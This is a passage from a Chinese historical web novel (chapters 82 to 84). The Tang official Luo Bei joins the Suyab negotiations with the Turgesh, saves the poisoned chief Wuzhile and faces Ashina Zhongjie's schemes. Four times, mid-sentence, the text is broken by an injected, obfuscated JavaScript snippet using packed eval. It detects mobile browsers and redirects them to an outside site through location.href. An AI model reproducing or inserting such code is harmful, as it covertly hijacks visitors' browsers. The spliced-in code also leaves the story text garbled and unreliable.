李贞看了看受伤的他,又看了看在一边跪地请罪的哥舒亶,只好将此事高高抬起,轻轻放下,在给朝廷的呈文中略过阙特勤被俘的事实,也略过沙吒忠义的荒唐行径,只弹劾沙吒忠义临阵脱逃的罪过,并为自己在内的一干将士们表功。 十日之后,朝廷自长安发来诏书,革除沙吒忠义的灵武道大总管职务,召他回京,改命左屯卫大将军,检校洛州长史张仁愿担任灵武道大总管职务。 李贞因为作战有功,升为肃州刺史,并都督诸军事——这是一个上州刺史,从三品下的官职,在本朝已经是数一数二的实权高官。慕容宣彻则升任左领军将军。哥舒亶也接任赤水军副使,一应参战将领或升或封,还有军功、爵位等等赏赐。 这是李显登基以来最盛大的一场胜利,甚至压倒了昔年魏元忠、解琬和洛北在谈判场上的成功。朝廷恨不得以高官厚禄把他们都留在西北边境,命他们长长久久地为帝国效力。 但是此战中立有“斩将”之功的洛北却仅仅被封为从四品下的左骁卫中郎将,并把他调离北方边境,改任安西都护府司马。 “但公子怎么会被调到西域来?”吴钩皱了皱眉,他曾在丝绸之路上行走多年,知道安西都护的民情有多复杂: 汉代以来迁徙到此的汉人家族、彻底汉化的鲜卑民、自贞观年间开西域以来代代汉化的突厥人、回鹘人、粟特人、还有丝路上来来往往的,新迁到此地的汉人、突厥人、突厥人、吐蕃人、粟特人、大食人...... 更不要说,此地城邦与城邦之间路途遥远,距离中原更是有万里之遥,驻扎在此的不过是两万汉兵,比起数以十万计的突厥、吐蕃、突骑施等国,更是不够看了。在这个地方任职,是要有随时把脑袋赔上的觉悟的。 “朝廷并不是让我来西域打仗的。”洛北道,“朝廷是命我来参加大唐与突骑施的谈判。” 突骑施本是西突厥继往绝可汗一脉治下的一个部族。突骑施现任首领乌质勒还曾经担任过第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281703|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二任继往绝可汗阿史那斛瑟罗的莫贺达干。 但当年默啜西征之时,斛瑟罗弃城而逃。是乌质勒带领一众部族守住了碎叶城。自此之后,乌质勒在西域势力渐大,隐隐有自立之心,解琬曾经作为使节屡次出使西域,为的就是安抚乌质勒,调停他和斛瑟罗之间的矛盾。 最终斛瑟罗和乌质勒的矛盾还是一发不可收拾。乌质勒在长安三年发兵将斛瑟罗逐出了碎叶城。自此之后,西域日渐成为乌质勒的掌中之物。 “乌质勒希望大唐承认他在西域的地位,最好把西域全盘交给他做主。”洛北道,“但大唐绝不愿意让一个部族主宰西域。否则不到十年,我们在西域就要看乌质勒和突骑施人的眼色行事了。” 吴钩苦笑道:“看来,这次陛下是想让公子来救火了?这倒也不奇怪。毕竟公子曾以对吐蕃的谈判扬名长安。可乌质勒兵强马壮,恐怕没有吐蕃那么好摆平。” “也不尽然,乌质勒确实深孚众望,但他今年已经六十多岁了。对于一位征战多年的将领来说,这可是个很危险的年纪。”洛北道,“他的儿子娑葛没有他那样的威望可以压服一众部族,否则他也不需要和我大唐谈判了。” “明白了,合着乌质勒是想借大唐的大旗壮自己儿子的势。”吴钩说着,似乎想到什么似的:“对了公子,却不知道这次谈判主使是谁,副使是谁?可需要我前往打点一番?” “还是吴老板考虑得周到啊,这一次谈判的主使是安西大都护郭元振,副使是御史大夫解琬。”洛北知他老于世故,拍了拍他的手臂,颇为感念地笑道:“两位都是我在凉州的老朋友了。等我在碎叶城中安置下来,就去拜访他们。” 碎叶城中的安西衙署,是曾经的裴行俭、杜怀宝、王方翼等人居住过的地方。后来吐蕃攻陷安西,因此地处于交通要道,也把它作为自己的王宫所在。 此地本就处于交通要道,金玉珠宝易得,更加历代修缮,更添繁华。洛北一入衙署之中,一股扑鼻的香气便袭人而来。他目之所及,到处都是金光闪闪、珠宝辉映,地下铺的是貂毛的毡毯,矮桌上摆的是白玉碗,黄金杯。 便是做了心理建设,洛北也觉得此地奢华太过,像是长安那些富豪之家的居处,不像是天山脚下,高原之上的城池。但此刻他无暇再想这些,只伏在毡毯上,对端坐牙床之上的安西大都护郭元振道了一个大礼:“属下新任安西都护府司马洛北,见过都护。” 郭元振也换了一身斑斓织金的锦袍,紫貂皮毛装饰的衣领微微翻出,擦在他的脸侧,分外柔软。他听到洛北熟悉的声音,不禁一笑:“受不起,受不起。洛北,你起来吧。”他拍了拍侧面的一只矮榻,示意洛北坐到自己身边来。 洛北依言坐下,郭元振给他面前的杯子斟上一杯葡萄酒: “当年我们在凉州分别,你还是个少年。如今再一见,竟成了这般丰神俊朗的青年了。可惜我郭元振命中无女,只有两个儿子,否则一定要你当我的东床快婿了。” 82. 第 82 章 一别多年,郭元振还是同当年在凉州时那般诙谐。洛北见他笑得肆意,紧绷的神情也稍有缓解。他把思路从政事上抛开,主动提起了另外一桩婚事: “说到婚事,大帅可记得哥舒亶?鸣沙之战时,我曾与他并肩作战。战后荣升赤水军副使,还娶了沙吒忠义的女儿百合小姐。可惜诏令催的太急,我连杯喜酒都没讨上就赶到西域来了。” 郭元振当然记得这个在玉门关外行刺继往绝可汗的突厥青年,他摩挲着下颌的短须,脸上露出欣慰神色:“当年那个亡命之徒吗?他竟搭上了沙吒忠义的关系?” “我怎么听到有人在提沙吒忠义的名字?” 一道熟悉的声音从侧厅传来。洛北抬头望去,解琬一身绯袍,踏雪而来。他忙起身道礼:“解大夫。” “郭都护说,朝廷派了个谙熟西域诸国事宜,精通突厥语和粟特语的青年来协助我们。”解琬曾在吐蕃谈判中与洛北并肩作战,又知道他曾担任“乌特特勤”的底细,见来人是他,脸上多了几分笑意:“我把鸿胪寺的青年才俊们都盘遍了,也没想到是洛公子。” 鸿胪寺是大唐负责接待外族首领和使节的机构,麾下不仅有老成持重,谙熟礼仪的汉人官员,还有出身胡商家族的外蕃官员,这些人久在丝路上行走,确实对西域情况十分熟悉。但要比起突厥大汗的谋主,出身于统领西域的兴昔亡可汗家族的“乌特特勤”,肯定还是逊色了几分。 郭元振见解琬面带笑意,大概也猜到他在想什么。他不欲在此事上纠缠,免得在谈判前暴露了洛北的身份,便轻巧地转开了话题:“刚刚说沙吒忠义,解大夫有什么见教?” “哼。圣上宠幸胡人蕃将,觉得他们不会串通一气结为朋党,乱了朝政。其实这些胡人们之间才是互相包庇,互相提携。沙吒忠义在鸣沙临阵脱逃,按律当斩。即使不杀,也应该免为庶民。可就因为辽阳郡王李多祚为自己的这个同族求情,圣上竟然宽免了沙吒忠义的罪行,还让他继续在宫中执掌禁军。”出身御史台,一向刚正不阿的解琬说着便是一肚子的气:“御史风闻奏事,竟都被圣上、皇后和武三思挡了回去。” “这倒是奇事。”洛北面露不解,“李多祚当年也参与了神龙宫变,怎么张柬之等人被贬斥出京,唯独他屹立不倒呢?” “还能有什么原因?无非是圣上觉得胡人蕃将背后没有复杂的势力,不容易逼宫造反罢了。”郭元振在一边道,“更何况,我听说李多祚和皇后来往也不少。” 洛北闻言,不禁心头一凛:韦皇后结交禁军将军?这意味着韦皇后想要在某些非常时期掌握权力。可对于深得皇帝信重的韦后来说,有什么非常时期让她无法依靠李显,而要依靠禁军呢? 只有皇帝驾崩的时刻! 这可是个不详的信号,洛北张口正要说什么。郭元振却已经起身,把一张地图摊在矮桌上:“正好解大夫来了,我们再一起看看突骑施的情况。洛北,你不妨将你了解的突骑施情况说一说。” 洛北点了点头:“突骑施本是月氏后人,突厥人把他们称为‘黄乌孙’,说他们是乌孙人的后代。突骑施族内有两族,一族黑发黑眼,长相更接近汉人,被称为‘黑姓’,一族黄发碧眼,长相更接近胡人,被称为‘黄姓’。” 解琬不禁想起突骑施首领乌质勒那如雄狮一般竖立的黄发,笑道:“这么说来,乌质勒是出身黄姓了?” 洛北点了点头:“是。其实这两族本不甚和睦。如今能团结在乌质勒麾下,不过是乌质勒靠个人的功勋和高超的手腕维持罢了。” “乌质勒怎么比我们想象的还要四面楚歌。”郭元振和解琬对视一眼,不禁都笑了。 郭元振抿了一口甘甜醇厚的葡萄酒,又问:“这次参与谈判的突骑施首领中还有阿史那忠节,这个人你了解吗?” “大帅这是要考验我的功课了。”洛北笑道,“阿史那忠节曾经是胡禄屋部的吐屯。这个‘吐屯’是突厥的中等爵位,一般是由阿史那子弟出任,在各个属国监税。其实就是突厥派去的监国。久而久之,这些阿史那子弟便成为了这些部族的首领。” “腾笼换鸟,谁说这些突厥人没有心机啊。”郭元振感慨了一句。 解琬忍不住笑了出来,暗暗指了指郭元振:“你这张嘴啊,阿史那忠节是个骄傲暴烈的人,你可别在他的面前说这样的话。” “阿史那忠节的性子我也有所耳闻。他当年曾帮助王孝杰复开西域,平定吐蕃。故而朝廷赐他‘忠节’之名,表彰他的信义。他有朝廷承认的大功,又自诩是阿史那子弟,现在是勉强向乌质勒低头。不过,即使这样说.......” 他俯身在地图上描画了乌质勒的势力范围:“乌质勒也统辖了大半个西突厥故地。” 解琬还是第一次看到有人能将这些山川地域信手拈来。他好奇地凑上去看洛北画图:“魏元忠没留你在职方司继续任职,是他的遗憾。” “解大夫可别说这样的话,你想,若是洛北在长安的兵部,如今着急的就是你我了。”郭元振笑道,“洛北,你觉得乌质勒为什么想找我们谈判?” “借势。” 洛北斩钉截铁地下了论断。他在前来西域之前已经反复考虑过多次此事,也和吴钩讨论过: “乌质勒虽然功勋卓著,手腕高超,但奈何年纪已长,总要把权力交给自己的子孙。但是他的儿子娑葛可没有其父的手段和威望,稍有不慎,突骑施就会像无数个如流星一般的草原汗国一样,亡于内乱和外患。” 郭元振一拍桌子,猛然站起身来,在屋中来回踱步:“不错,乌质勒自己是被推举上位,他想将首领之职代代相传给自己的子孙。他手下的那些人可没那么容易点头。我们就拿这一点来和他谈判。封号、爵位和金帛绸缎尽可与之,但土地和百姓一分都不能让。” 他说着,眯了眯眼睛,远望着洛北标记出来的山川和关隘:“他如今已经有了东至伊犁河,西至药杀水的大片土地......都是水草丰茂,人口众多的好地方。要是再把别的土地也切分给他,不日他就可以在西域自立为王了。” ——————————————————————————— 突骑施的牙帐设在碎叶城外,碎叶川之滨。在牙帐周围,千百顶毡房耸立。这些毡房组成的营地,便是突骑施的“王城”。被这些毡房众星拱月在中间的牙帐是一座圆顶的毡房。毛毡外的毡毯上绣着连绵的吉祥图案,包毡房的绳索上都夹杂着金线,即使在风雪之中,也显得分外显眼。 在洛北这位昔年的突厥汗国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281704|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重臣“乌特特勤”看来,虽然乌质勒尚未称王,他的牙帐也已有不亚于默啜大汗的气派了。 突骑施人多信奉祆教,在突骑施的牙帐之前,两盆火堆于大雪之中熊熊燃烧,在风雪中散发出连绵不断的檀木香气。 牙帐之外,乌质勒、阿史那忠节、娑葛等一众突骑施汗国的重臣已等候了一会儿,他们在帐外和使团众人互相道礼,便在风雪之中开启了这次谈判。 大唐与突骑施有共同的敌人,那便是正对西域虎视眈眈的突厥默啜。但大唐与突骑施也有互相不能妥协的利益,首当其冲的,便是碎叶城的归属。 “当年大唐册封的继往绝可汗阿史那斛瑟罗弃城而逃,正是我父亲挺身而出守住了碎叶城。如今你们就靠嘴皮子上下一碰,就想把碎叶城要回来,这绝无可能!”这高声叫嚷的,是乌质勒的儿子娑葛。他如今三十余岁,中等身材,遗传了父亲的黄发黄须,开口说话时,就像一只年轻的雄狮在怒吼。 解琬不慌不忙,不疾不徐地道:“娑葛首领,碎叶城当初是大唐安西都护王方翼带人修建,大唐统治多年,也为各族杂居之地。恐怕不能为你们突骑施一族所有。” 阿史那忠节在一边敲侧鼓:“我们并没有要以突骑施一族所有,只是冬日严寒,我们需要有个遮挡风雪的地方。” 郭元振冷声说:“遮挡风雪和设牙帐可有很大的不同。忠节将军,你去过长安和北庭,也当知道那里的部族是怎么做的。他们夏日去牧场放牧,冬日便把部族迁居到大唐的城池之下,城墙替他们遮挡风雪——即使是北庭都护兴昔亡可汗阿史那献将军,也从未说过要把自己的牙帐设在庭州城中。” 众人你一言,我一语,互相争执不下。碎叶城外的风雪一时大过一时,渐渐地积到了人们膝盖的位置。洛北很少自己发言,他除了充当译语人,在两方之间替他们转述含混不清的句子,便是透过风雪,观察这群参加谈判的突骑施首领们。 忽而,他像是注意到什么似的,拉了拉郭元振的衣袖:“我看乌质勒的脸色,好像不太对劲。” 郭元振正为碎叶城的归属纠缠不下的事情头疼,一时也没能转过想法:“你在说什么?” “我说,乌质勒的脸色不太对劲。”洛北道。 他眼见乌质勒隐约有倒下的趋势,立刻冲到两方之中,挥舞双手,极大声地用突厥话和汉话说道:“诸位。现在必须暂停谈判,移步牙帐之中,否则乌质勒首领会有生命危险!” 娑葛不服气地看着眼前这个长得俊美的青年:“你是在诅咒我的父亲吗?我的父亲是突骑施的勇士,他一定能活到千岁!” 解琬也觉得他的话说错了场合:“洛北,你这是做什么?这不是你炫耀自己医术的地方。” 洛北回头正要和他们争辩,却看到乌质勒站立不稳,向后倒去。他快步上前,眼疾手快地扶住乌质勒,伸手探他脉搏,已是枯若游丝。 “父亲!”娑葛惊叫了一声,也顾不上谈判的事情了,急命众人将乌质勒扶到牙帐中。他无人可以求救,只好把目光望向洛北:“大唐的使臣,你有办法救我的父亲?” 洛北挽了挽衣袖,平和冷静地答他:“我有,但我需要一盆干净的雪、一只蜡烛、一盆烈酒、一盆清水和几块干净的布匹。” 83. 第 83 章 娑葛下意识地照洛北的命令去吩咐一众奴仆,甚至不消洛北吩咐,就把牙帐中的一概人等都请了出去,只留下自己和几个亲信。 但当他的目光重新回到洛北身上,看到他那一身青色的唐人公服,又咂摸出一点不太对劲的味道: “这是我突骑施的牙帐,不是大唐的碎叶城,我才是突骑施的主人,为什么要听这个唐人使臣的命令?” 但洛北已经坐在了乌质勒的床榻边,低头为乌质勒施用金针。他像个正在敬天的祭司,神情专注,容不下一点外物侵扰。娑葛张了张嘴,一句喝问的话也没能出口,反倒转出大帐,去到给大唐使臣们休息的帐篷之中,请教郭元振和解琬一句话: “他真的能治好我的父亲吗?” 他说这话时态度认真谦卑,与刚刚在雪地里与他们高声争执的那位异族领袖简直是判若两人。 解琬脸上露出温煦的笑容:“若说旁事,我不敢肯定,但若说医术——洛公子医术超群,乃当世国医圣手,是有妙手回春之能的。有他在,乌质勒首领定会安然无恙。” “解御史说这话,娑葛首领大可相信。”郭元振道,“多年之前他出使贵部,返程时也曾身患重疾,正是得到洛北的救护,才安然无恙。” 娑葛这才轻轻呼出一口气,把心落在了肚子里,他躬身下拜,对着帐中圣火发下宏愿:“倘若洛司马真能救我父性命,我突骑施可以放弃在碎叶城中建牙,以示我诚意。” 解琬和郭元振对视一眼,眼底都露出笑意。郭元振道:“既然娑葛首领为救父有此诚心,我等也愿将此等孝行上奏天听,为娑葛首领请爵位和封号。” 这话说得中听悦耳,把其中利益交换的意味减弱太多。娑葛脸上的神情更好看了:“倘若如此,是我之福分。” 郭元振见好就收,不再讨论这些谈判条件,转而邀请解琬说说当年和洛北相遇的旧事打发时间。 解琬担任了多年使臣,讲起故事来也是得心应手,三人交谈甚欢,将开始谈判时的剑拔弩张扫荡一空。 天色将暮时,洛北终于挑开帘帐,带着一身疲惫和半身血污走进帐内,用很低的声音喊娑葛的名字:“娑葛首领,乌质勒首领请你过去。” “我父亲醒了?他还好吗?”娑葛差点没从柔软的毡毯上跳起来,他激动地站起身,一双眼睛牢牢地钉在洛北的脸上。 洛北一如既往的神情平和,没有给他瞧出半分端倪的机会:“是,乌质勒首领醒了。我已经给他配了药剂,他再服用几日,便会安然无恙。但是——”他抬起头,用那双流金的眼眸与娑葛对视,“娑葛首领,还有件事情我要告诉你,乌质勒首领倒下不仅仅是因为陈年旧病,还因为有人给他下了毒。” 娑葛瞪大双眼:“是谁?谁敢谋害我父亲?” “我不知道。”洛北摇了摇头,“乌质勒首领也不知道,所以他才请你过去商议此事。” 他们是用汉话在对答,在一边的郭元振和解琬都听得明明白白,只是碍于情面,都只能噤声不言。等娑葛挑开帘幕走入一片风雪之中,帐内帐外除了他们三个之外再无旁人,郭元振才开口道:“洛北,你这件事情,做得实在是欠考虑了。” 洛北做了郭元振多年的下级,对他的脾性也有所了解,见他面沉似水,知道他是真的动了怒:“大帅......” “我们只是前来谈判的使臣,乌质勒的死活和你有什么关系?你为什么要强出头,搅进突骑施内部的这摊浑水里?”郭元振连珠炮似的斥问他,“如果今天乌质勒在你的手上出了事,你以为我们三个人还能活着走出这座营帐吗?” 解琬见他们脸色都不好看,生怕他们起了内讧,开口从中斡旋:“我想洛司马也是为了谈判顺利,才有意施恩于突骑施人的。” “只有大唐天子才有权利施恩于外藩首领!”郭元振一字一顿地喝道。 洛北和解琬都被他这番真情实感的愤怒激得一退。两人面面相觑,不知道他这番指责到底是为了什么。 见他们面露不解,郭元振走到一边,深深叹了口气,不再看向他们这般:“洛北,你从长安二年回到凉州投入我门下,如今已有四年了吧?你为什么总是放不下过去呢?” 洛北抬起头,望向郭元振,只见这位英武刚强的郭都护眼中隐有泪光,心中不禁一动。 他敛容正色道:“大帅,我出手救护乌质勒,并不是因为突骑施曾经是兴昔亡可汗麾下的部族,更没有施乌质勒以私恩的意思。” 郭元振严肃了面容:“那你是为了什么?” “谈判与行军打仗相同,不能总是以硬碰硬,有时候,也要想着以柔克刚,以巧取胜。”洛北先说了个显而易见的事实: “还记得在来此之前,大帅和我们在碎叶城中分析过突骑施的局势。我点破乌质勒遭人下毒之事,便是要告诉乌质勒和娑葛,突骑施内部一众势力虎视眈眈,他们想要平定内乱,只有依靠大唐的支持。” 郭元振道:“我何尝不明白这个道理,但你现在是把自己搅了进去!我猜,乌质勒醒来之后,不仅让你来请娑葛,还告诉你,他如今身边无人可信,希望你留在牙帐之中,帮他一起查出这个下毒之人?” “是。”洛北点头承认。 “你上了他的当了。你留在牙帐,代表的不是你自己,而是大唐。”郭元振苦口婆心,“如今突骑施内部势力错综复杂,无论你找出是谁下毒。对方都可能会借此掀起一场阴谋叛乱。到时候,大唐就不得不插手突骑施内部的战事。于大唐何益?于安西将士何益?” “大帅的意思,我已经明白了。但我不是这么看的。”洛北坦然道,“且不说被指认下毒之人在不在突骑施内部,此人又会不会因为被指责就发动阴谋叛乱。只说一点,大帅,大唐为什么不能插手突骑施内部的战事?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281705|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他顿了顿,信步走到帐门前,望着晦暗天空下漫天的风雪:“自贞观年间毕国公阿史那社尔开西域以来,大唐将士越过葱岭,在西域诸国肆意驰骋,将天可汗之名传扬天下。因为有这份声望,大唐将军来到西域,对西域诸部如使臂指,甚至靠数千汉兵,就可以征服一个王国。” 他放下帐门,走回温暖的营帐中,看向郭元振和解琬:“大唐在西域的大好局面,是在苏海政听人谗言,误杀兴昔亡可汗阿史那弥射时葬送的。” 郭元振和解琬都以为他是阿史那弥射的曾孙,知道他说这话也有为自己先祖张目的意思,一时都低下头去。 “忠心耿耿的阿史那弥射反被大唐所杀,在西域各国引起了一阵不小的风暴。那些曾经忠诚的各部首领们,都开始怀疑大唐是否值得他们效忠。” “但仅凭这一件事,还不至于让大唐在西域的统治崩盘。阿史那弥射死后,他麾下的处月、弓月两部引吐蕃兵入西域,要为自己的主君报仇。苏海政竟然畏惧吐蕃兵势,以军中辎重贿赂吐蕃人,与他们约和而退。” “从那之后,大唐在西域既失去了仁善与威德的声望,也失去了战无不胜,攻无不取的名声。所以吐蕃和突厥入侵西域时,各部都是望风而降,未有半分抵抗。直到武周年间,王孝杰复开西域,朝廷还要屯两万重兵于安西四镇,才能稳固西域局势。说句不好听的话吧,我们一直在为当年失去的东西买单。” “如今突骑施掌控着西域大半土地,乌质勒深孚众望,却无法长久地弹压手下所有部族。我们借此机会介入突骑施内务,正是重新竖立大唐威德的最好时机。这样的事情,我不明白为什么大帅不肯去做!” 这话是洛北的肺腑之言,他倾吐一毕,说得郭元振和解琬心中也是激动万分。 郭元振知道他一片赤诚,脸上不禁带了点羞惭神色。但他望向洛北坚定的目光时,心中又是一动:“这是步好棋,但也是步险棋啊。洛北,你的安全......” “我既然敢当众点破乌质勒的情况,便能有把握弹压住众人。不过......”洛北轻轻笑了一声,“倘若我真的不幸罹难于此,还请大帅收我尸骨,葬于碎叶城外。” 这话已经颇有几分易水之畔的萧萧气息。郭元振望着他琥珀色的眼眸,似乎又看到了昔年初到凉州的那个少年,当年洛北肯把自己的性命像黄沙一样在戈壁滩中抛掷数次,如今他又怎么会因为自己的生死就放弃如此绝妙的机会? 郭元振自嘲似的摇了摇头:“不要说这样的话。我率两千精骑在碎叶城等候你归来,如若十日之内,你没有消息传出,我便率军杀进乌质勒的牙帐——” “杀害使臣便是向大唐宣战,乌质勒或许敢阳奉阴违,却绝没有向我们公然开战的胆量。”解琬望向洛北,眼中带了些难得的欣赏:“真是后生可畏啊,洛北,突骑施的事情,我们就全托付给你了。” 84. 第 84 章 “我听闻,乌质勒首领是遭人下毒,才会病倒的?” 洛北居住在突骑施牙帐的第三日,天空已经放晴,他从突骑施牙帐向外望去,高原万里,山脉绵延,碎叶川不知疲惫地奔涌向西,滋养着河流两岸的数个城市。 金雕在他头上蜿蜒盘旋,追逐天空中翱翔的一只鹰隼的幼鸟,洛北看了一会儿两只飞鸟上下盘旋,才把目光投向说话的男人。 这人约莫四十岁年纪,中等身材,膀大腰圆,黑发绿眼——正是阿史那家族子弟的标准长相。 “是忠节将军吧?”洛北已认出他的身份,低头向他道礼,“我曾听过将军在阵前以一当十,吓得拓西可汗望风而逃的事情,可恨始终与将军缘悭一面,如今终于相见了。” 他显然对忠节的战绩知之甚详,此刻娓娓道来的正是忠节生平最得意的一战,忠节的阔脸上露出笑容:“洛司马抬举在下了。我只是个会打仗的粗人,比不了洛司马的妙手回春。对了,乌质勒首领如何了?” 他绕来绕去,还是把话题绕回了乌质勒头上。洛北知他是要试探自己,面上只是一笑:“首领已无大碍,只是需要休息数日,便能复原。至于下毒之事,确实是真的。” 忠节做出一副做作的惊讶神态:“这,这是真的?谁那样大胆,敢在突骑施牙帐内毒杀首领?” 洛北摇了摇头:“我暂时也不知道,不过忠节将军,这三天里,你不是第一个来试探我的人。” 阿史那忠节被他当面拆穿,也不恼怒,只是撤下了那副故作的爽朗谦卑模样,正色与他对话:“除我之外,还有谁?” “乌质勒首领的另外一个儿子遮弩,首领的近臣康孝哲,还有他的卫队长苏禄将军。” 忠节冷笑一声:“遮弩是害怕娑葛入继首领之位后会杀死兄弟。苏禄是担心自己要为乌质勒的中毒负责,康孝哲是个没有根基的粟特人,若是没有乌质勒的扶持,他手下那点军队在西域根本就不够看的。” “那你呢,忠节将军,你来试探我的目的是什么?”洛北伸出一只手臂,金雕盘旋而下,乖巧地落在他的肩上。 他转过身来,与金雕一起望着忠节的眼睛:“我猜,将军是想早做打算,好在乌质勒去世之后先发制人。” 他目光灼灼,搞得忠节很不自在。但忠节终究是执掌军队和部族多年的大将军,见他一语道破,干脆利落地吐出了实情: “不错。我是打算早做准备。我是阿史那家族的子孙,神狼的后裔,念在乌质勒战功赫赫,劳苦功高,屈居乌质勒之下也就罢了……凭什么对他的儿子俯首称臣?!当我在外征战的时候,娑葛在牙帐里享受丝路上的财富。我的将士子民流了血,卫护的却是娑葛的地位,我不甘心!” 洛北轻轻叹了口气,类似的话,他在过去不知听过多少。阿史那家族的子弟们雄心勃勃,人人都认为自己具有天命,生来便应当作为所有部族的主人。因此草原上总少不了征伐和流血。 “洛司马,如今你愿意支持我与娑葛分庭抗礼,我可以出黄金百两答谢。”忠节见他不答,干脆地一挥手。 黄金百两,只为了要他的一个支持?真是好大的手笔。 洛北摇了摇头:“忠节将军,我只是大唐的使臣。即使在使团成员中,我也是最年轻的一个,恐怕无法在这样的大事上发表意见。” “我知道!我也为解琬和郭元振备下了厚礼,还请洛司马为我在他们面前美言几句。”忠节道,“若是洛司马需要……我可以……” “我不需要。”洛北斩钉截铁地打断他,“我也劝忠节将军一句,你虽是乌质勒手下的大将,却是胡禄屋部的监国吐屯,与突骑施部族毫无关系。一旦你和娑葛开战,突骑施内部有再多的矛盾,都会一致对外——凭你的兵力,不会是他们的对手。更不要说……你手下还有多少胡禄屋部的子弟肯供你驱策?” 忠节勃然变色:“你这话是什么意思?!” “我的意思是,如果我是将军的话,便会借此时机上表奏请朝廷,愿意将麾下部族内迁到北庭,归北庭都护,兴昔亡可汗阿史那献统辖。” “阿史那献将军是室点密大汗的九世孙,也是阿史那家族的神狼后裔,向他俯首称臣,并不辱没身份。” “而后,我会自己带着家人入朝为皇帝宿卫。将军,凭你现在的部族兵马,封一个公侯爵位,得一个禁军大将军的职位还是绰绰有余。”洛北冷笑了一声,“若是一拖再拖,拖到胡禄屋部新任首领长大成人,入朝觐见。你这个监国吐屯还有几分价值?” 他说完,也不等阿史那忠节答话,自顾自地带着金雕,走回突骑施牙帐的方向去了。 忠节被他震在当场,几乎口不能言,直到冬风一吹,吹得他身后阵阵发凉,他这才发现自己已经汗湿重衣。 是的,他自顾自地想,洛北说的一点不错: 胡禄屋部自第一任兴昔亡可汗阿史那弥射被杀之后便四散而去,有一部分族人随着首领去了吐蕃,欲积蓄实力,为阿史那弥射报仇。还有一部分留在西域,为忠节的父亲和他自己统领。 但在多年之前,同样出身兴昔亡可汗家族的乌特特勤受突厥大汗默啜之命,远上雪域高原,把胡禄屋部首领和他所部的子民带回了西域。乌特特勤本就占据着正统名份,又以仁德爱人著称,那些最穷苦的牧民甚至把他作为祆神的化身来崇拜。 有此人在,忠节手下的牧民叛逃不断,所幸默啜没有真的把乌特特勤封到西域来做王,只是把他留在了于都斤山的大汗牙帐里,否则不消几年,忠节就会众叛亲离。 好在乌特特勤身死,默啜之子拓西可汗又不得人心。忠节勉强稳住局势没几年——唐廷竟又封了第三任兴昔亡可汗阿史那献来到西域! 阿史那献远离西域多年,却照样有办法笼住西域各部族。如今他在北庭是部族众多、牛羊繁茂,又有胡禄屋部、鼠尼失部和弓月部三部全力拥护,忠节手下人心浮动,已非一日。 但这些都是机密消息,即使是忠节自己的心腹也未知全貌,洛北一个从中原来的使臣怎么会知道的这么清楚? 忠节想到此处,深深地叹了口气,他要立刻回到自己的大帐中,派出最精干的手下去打探此人的消息,他要搞清楚……这个洛北到底是什么人?为什么会对西域情况如此熟悉? 他的这番思量,洛北全然不知,不过就算他知道了,也无暇分神去阻拦,此刻摆在他面前的是一个全新的难题:“整整三日的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281706|151857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,竟连毒从何来都没有查清楚?” 娑葛见他惊讶,脸上又不禁多了几分惭愧:“不错,按说此事本不该拿到洛司马面前请你分神,但我这些不成器的属下已将我父亲的饮食查了个遍,也没有找到半分线索。” 洛北沉吟片刻:“那盛放这些饮食的器皿呢?都派人查过吗?” “查了。”娑葛点了点头,“我父亲不喜奢靡,每日饮食都有定数,器皿也是用旧了的。侍奉他饮食的也都是知根知底的老仆……我实在是想不到,到底还有什么地方被我们漏了?” 洛北一时也想不到答案,他站起身,走到帐外,望了望一片白雪皑皑的荒野。那几日碎叶城内外都是连日大雪,倘若真的有外人闯入牙帐中下毒,一定会被人发现。 娑葛又问:“洛司马精通药理,或许能从毒药和其产地上找到些线索?” “倘若在草原腹地,或在中原,这样的想法或许有用。但我们身处碎叶,是丝路上的交通要道,来往商人莫说一万,也有八千……”洛北摇了摇头,“只要幕后黑手有心,就可以托商队从天下任何一处带来毒药。” 